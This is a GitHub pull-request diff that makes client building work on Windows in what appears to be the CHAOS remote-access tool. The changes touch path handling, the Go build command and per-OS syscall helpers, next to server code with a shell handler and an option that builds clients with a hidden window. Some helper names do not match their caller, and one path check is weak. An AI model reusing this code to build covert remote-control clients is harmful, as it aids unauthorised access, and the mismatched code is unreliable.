Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

build client on windows #154

Merged
merged 4 commits into from
Oct 26, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion internal/constants.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,6 @@ const (
TimeoutDuration = time.Second * 30
TimeoutExceeded = `Timeout exceeded.`
NoContent = `No content.`
TempDirectory = `temp/`
TempDirectory = `temp`
DatabaseDirectory = `database`
)
2 changes: 1 addition & 1 deletion internal/utils/image/png.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ import (
func WritePNG(content []byte) (string, error) {
filename := fmt.Sprint(uuid.New().String(), ".png")
file, err := os.OpenFile(
fmt.Sprint(internal.TempDirectory, filename),
fmt.Sprint(internal.TempDirectory, string(os.PathSeparator), filename),
os.O_WRONLY|os.O_TRUNC|os.O_CREATE,
os.ModePerm,
)
Expand Down
5 changes: 3 additions & 2 deletions presentation/http/handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ import (
"github.com/tiagorlampert/CHAOS/services/user"
"net/http"
"net/url"
"os"
"path/filepath"
"strconv"
"strings"
Expand Down Expand Up @@ -252,7 +253,7 @@ func (h *httpController) shellHandler(c *gin.Context) {

func (h *httpController) downloadFileHandler(c *gin.Context) {
fileName := c.Param("filename")
targetPath := filepath.Join(internal.TempDirectory, fileName)
targetPath := filepath.Join(internal.TempDirectory, string(os.PathSeparator), fileName)
if !strings.HasPrefix(filepath.Clean(targetPath), internal.TempDirectory) {
c.String(403, "Forbidden")
return
Expand Down Expand Up @@ -324,7 +325,7 @@ func (h *httpController) uploadFileHandler(c *gin.Context) {
c.String(http.StatusBadRequest, err.Error())
return
}
if err := c.SaveUploadedFile(file, fmt.Sprint(internal.TempDirectory, file.Filename)); err != nil {
if err := c.SaveUploadedFile(file, fmt.Sprint(internal.TempDirectory, string(os.PathSeparator), file.Filename)); err != nil {
c.String(http.StatusInternalServerError, err.Error())
return
}
Expand Down
49 changes: 46 additions & 3 deletions services/client/client_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ import (
"github.com/tiagorlampert/CHAOS/presentation/http/request"
authRepo "github.com/tiagorlampert/CHAOS/repositories/auth"
"github.com/tiagorlampert/CHAOS/services/auth"
syscallCmd "github.com/tiagorlampert/CHAOS/services/client/syscall_cmd"
"os"
"os/exec"
"strings"
Expand All @@ -31,7 +32,15 @@ const (
configFileName = "config.json"
mainFileName = "main.go"
clientConfigFilepath = "app/utils/config.go"
buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -extldflags "-static"' -o ../../temp/%s main.go`
buildStr = `go build -ldflags="%s -s -w -X 'main.Version=%s' -extldflags -static" -o ../../temp/%s main.go`
)

var (
envVarBuildMap = map[string]string{
"GO_ENABLED": "1",
"GOOS": "%s",
"GOARCH": "amd64",
}
)

type clientService struct {
Expand Down Expand Up @@ -160,9 +169,19 @@ func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error)
defer utils.RemoveDir(buildPath)

filename := buildFilename(input.OSTarget, input.GetFilename())
buildCmd := fmt.Sprintf(buildStr, getOSBuildParam(input.OSTarget), getRunHiddenBuildParam(input.RunHidden), c.AppVersion, filename)
buildCmd := fmt.Sprintf(getEnvVarBuild()+" "+buildStr, getOSBuildParam(input.OSTarget), getRunHiddenBuildParam(input.RunHidden), c.AppVersion, filename)

var cmd *exec.Cmd

switch system.DetectOS() {
case system.Windows:
cmd = exec.Command("cmd")
cmd.SysProcAttr = syscallCmd.GetCmdSyscall(buildCmd)
break
default:
cmd = exec.Command("sh", "-c", buildCmd)
}

cmd := exec.Command("sh", "-c", buildCmd)
cmd.Dir = buildPath

outputErr, err := cmd.CombinedOutput()
Expand Down Expand Up @@ -302,6 +321,30 @@ func getOSBuildParam(osType system.OSType) string {
}
}

func getEnvVarBuild() string {
const (
linuxEnvVarPrefixSeparator = " "
linuxEnvVarSuffixSeparator = " "
windowsEnvVarSuffixSeparator = " | "
windowsEnvVarPrefixSeparator = " set "
)

switch system.DetectOS() {
case system.Windows:
return MapKeysString(envVarBuildMap, windowsEnvVarPrefixSeparator, windowsEnvVarSuffixSeparator)
default:
return MapKeysString(envVarBuildMap, linuxEnvVarPrefixSeparator, linuxEnvVarSuffixSeparator)
}
}

func MapKeysString(m map[string]string, prefixSeparator string, suffixSeparator string) string {
keys := make([]string, 0, len(m))
for k, v := range m {
keys = append(keys, strings.ReplaceAll(fmt.Sprintf("%s %s=%s %s", prefixSeparator, k, v, suffixSeparator), " ", " "))
}
return strings.Join(keys, "")
}

func getRunHiddenBuildParam(hidden bool) string {
if hidden {
return "-H=windowsgui"
Expand Down
7 changes: 7 additions & 0 deletions services/client/syscall_cmd/syscall_darwin.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
package syscall_cmd

import "syscall"

func GetSyscallCmdLine(cmd string) *syscall.SysProcAttr {
return &syscall.SysProcAttr{}
}
7 changes: 7 additions & 0 deletions services/client/syscall_cmd/syscall_linux.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
package syscall_cmd

import "syscall"

func GetCmdSyscall(cmd string) *syscall.SysProcAttr {
return &syscall.SysProcAttr{}
}
10 changes: 10 additions & 0 deletions services/client/syscall_cmd/syscall_windows.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
package syscall_cmd

import (
"fmt"
"syscall"
)

func GetSyscallCmdLine(cmd string) *syscall.SysProcAttr {
return &syscall.SysProcAttr{CmdLine: fmt.Sprintf(`/c "%s"`, cmd)}
}